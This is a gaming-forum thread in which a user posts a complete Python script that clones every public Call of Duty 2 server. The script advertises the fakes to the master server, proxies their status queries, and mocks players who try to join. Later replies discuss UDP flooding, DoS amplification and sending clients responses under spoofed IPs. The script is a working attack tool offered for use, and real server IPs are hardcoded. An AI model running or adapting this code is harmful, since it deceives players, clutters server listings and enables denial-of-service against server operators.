Results 1 to 10 of 24

Thread: Server doubles

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1
    Private
    Join Date
    Nov 2013
    Posts
    16
    Thanks
    2
    Thanked 17 Times in 6 Posts
    I only program.

    Code:
    import socket, time, random, MS_Qw
    
    from threading			import Thread
    from datetime			import datetime
    
    
    class Main():
    	def __init__(self):
    		self.masterServer1 	= ('185.34.104.231', 20710)								# CoD2 master server
    		self.masterServer2 	= ('185.34.104.231', 20700)								# This one doesn't respond
    		self.mainServer		= ['185.46.53.126',0]									# Your PC's public IP address
    		self.redirectServer = ('77.239.73.148', 28960)								# The original idea was when someone tries to connect to the fake server, 
    																					# they would be redirected to this IP address. But since this program works like
    																					# a proxy, huge latency is generated. Maybe on this server there can be a mod that
    																					# will redirect the user to a new server ?
    		self.settings		= {'threads': 1, 'userPorts': [0], 'usersC': []}
    		self.isAlive 		= False
    		
    	def start(self):
    		self.isAlive = True
    		servers = MS_Qw.get_list('115').split('\n')			# Gets the list of all cod2 servers using protocol 115 (version 1.0)
    		for num in range(self.settings['threads']):
    			for server in servers:
    				if '192.168' not in server and '185.46' not in server and MS_Qw.query_server(server):
    					Thread(target = self.startServer, args = ((self.mainServer[0], self.getPort()),(server.split(':')[0],int(server.split(':')[1]) ))).start()
    	
    	def log(self, msg):
    		print msg
    	
    	def getPort(self, port = 49000):						# ports at first were generated randomly, thus this method was born (seems inefficient with this linear one)
    		while port in self.settings['userPorts']:
    			port += 1
    		self.settings['userPorts'].append(port)
    		return port
    	
    	def getRmsg(self, msg, addr, redict, sock = ''):		# Get live status from server
    		remove = []
    		for user, obj in self.settings['usersC']:
    			if user == addr:
    				sock = obj[0]								# This just enables full-time connection with the client (so he can join the server)
    				obj[1] = datetime.now()
    			if (datetime.now() - obj[1]).seconds > 5:
    				remove.append([user, obj])
    				
    		for item in remove:
    			try: self.settings['usersC'].remove(item)
    			except: pass
    	
    		if (not sock) or ('getstatus' in msg.lower()) or ('getinfo' in msg.lower()) :
    			sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    			sock.connect(redict)
    			sock.settimeout(1)
    			self.settings['usersC'].append([addr, [sock, datetime.now()]])
    		
    		
    		sock.sendto(msg, redict)
    		
    		try:
    			data, addr = sock.recvfrom(10024)
    		except:
    			data = ''
    		return data
    	
    	def startServer(self, ip, redict):
    		sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    		try: 
    			sock.bind(ip)
    		except :
    			self.log('Server '+str(ip)+' cant be started.')
    			return
    		self.log('Started server on port: '+str(ip[1]) +', using redirect: ' + str(redict))
    		sock.settimeout(2)
    		sock.sendto('\xff\xff\xff\xffheartbeat COD-2', self.masterServer1)
    		sock.sendto('\xff\xff\xff\xffgetIpAuthorize 1740261450 185.34.104.231 test_mod 0', self.masterServer2)			# Maybe this is useless ?
    		
    		lastSent = datetime.now()
    		
    		while self.isAlive:
    			if (datetime.now() - lastSent).seconds > 60:									# Send Heartbeat every 60 seconds
    				sock.sendto('\xff\xff\xff\xffheartbeat COD-2', self.masterServer1)
    				lastSent = datetime.now()
    		
    			try: data, addr = sock.recvfrom(1024)
    			except: continue
    			if not data: continue
    			
    			
    			if 'getstatus' in data.lower():
    				#self.log('Got status request. '+str(addr))
    				returnMsg = self.getRmsg(data, addr, redict)
    			elif 'getinfo' in data.lower():
    				#self.log('Got info request.'+str(addr))
    				returnMsg = self.getRmsg(data, addr, redict)
    			else:
    				#self.log('Unknown request: ' + str(data))
    				returnMsg = '\xff\xff\xff\xfferror\r\nIs this funny or what haha. =)'		# Message when they try to connect 
    				#returnMsg = self.getRmsg(data, addr, self.redirectServer)					# Uncomment if you want them to actually connect
    				pass
    			
    			if returnMsg: sock.sendto(returnMsg, addr)
    	
    	
    if __name__ == '__main__':
    	main = Main()
    	main.start()
    	while main.isAlive:
    		try: time.sleep(1)
    		except: 
    			print "Control C"
    			main.isAlive = False
    You can't actually protect your server from being duplicated. iptables or some other firewall can only stop incoming/outgoing connection and some little modification here can make the script take server information via gametracker or even the tracker on this site.
    You can however flood the 'fake' server with 'getstatus' or 'getinfo' requests so it goes offline.
    Last edited by stevomitric; 1st October 2016 at 20:54.

  2. #2
    Assadministrator kung foo man's Avatar
    Join Date
    Jun 2012
    Location
    trailerpark
    Posts
    2,011
    Thanks
    2,102
    Thanked 1,084 Times in 753 Posts
    Quote Originally Posted by stevomitric View Post
    You can however flood the 'fake' server with 'getstatus' or 'getinfo' requests so it goes offline.
    Depending on your Python implementation? Because of DoS amplification? I don't see any necessary reason that a fake server is forced to "go offline" (aka crash or not being able to send out fake server infos anymore)


    Mind quiz, what happens when:
    - Spawning a fake server, collecting the IP of every user requesting a "getstatus" (aka a player refreshes all servers)
    - sending then constantly for like a minute fake getstatus-responses with the spoofed IP's of all the other servers to the client who just reqested a getstatus from you
    timescale 0.01

  3. #3
    Private
    Join Date
    Nov 2013
    Posts
    16
    Thanks
    2
    Thanked 17 Times in 6 Posts
    Quote Originally Posted by kung foo man View Post
    Depending on your Python implementation? Because of DoS amplification? I don't see any necessary reason that a fake server is forced to "go offline" (aka crash or not being able to send out fake server infos anymore)
    Well, you can "crash" (or slow down) any server/PC with UDP flood. Sending 'getstatus' or 'getinfo' here just speeds up the process.

    Quote Originally Posted by kung foo man View Post
    Spawning a fake server, collecting the IP of every user requesting a "getstatus" (aka a player refreshes all servers)
    Every server has been put in a separate thread (works independently of others) and sends 'heartbeat' to masterserver (so it shows in a list). When you press refresh in CoD (or try querying the masterserver), you will get that list with the fake server. Then, your CoD will try to query every single server and when it gets to the fake one, fake one will send that same request to the original server being duplicated (works like a proxy).

    Quote Originally Posted by kung foo man View Post
    sending then constantly for like a minute fake getstatus-responses with the spoofed IP's of all the other servers to the client who just reqested a getstatus from you
    When client sends a 'getstatus' request, fake server just sends that request to the original server and forwards the response to the client. You can see how that flood is useful here. For every 13 bytes ('˙˙˙˙getstatus') client sends, 'fake server' has to send that 13 bytes to the original server + the response (at least 100 bytes) to the client.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •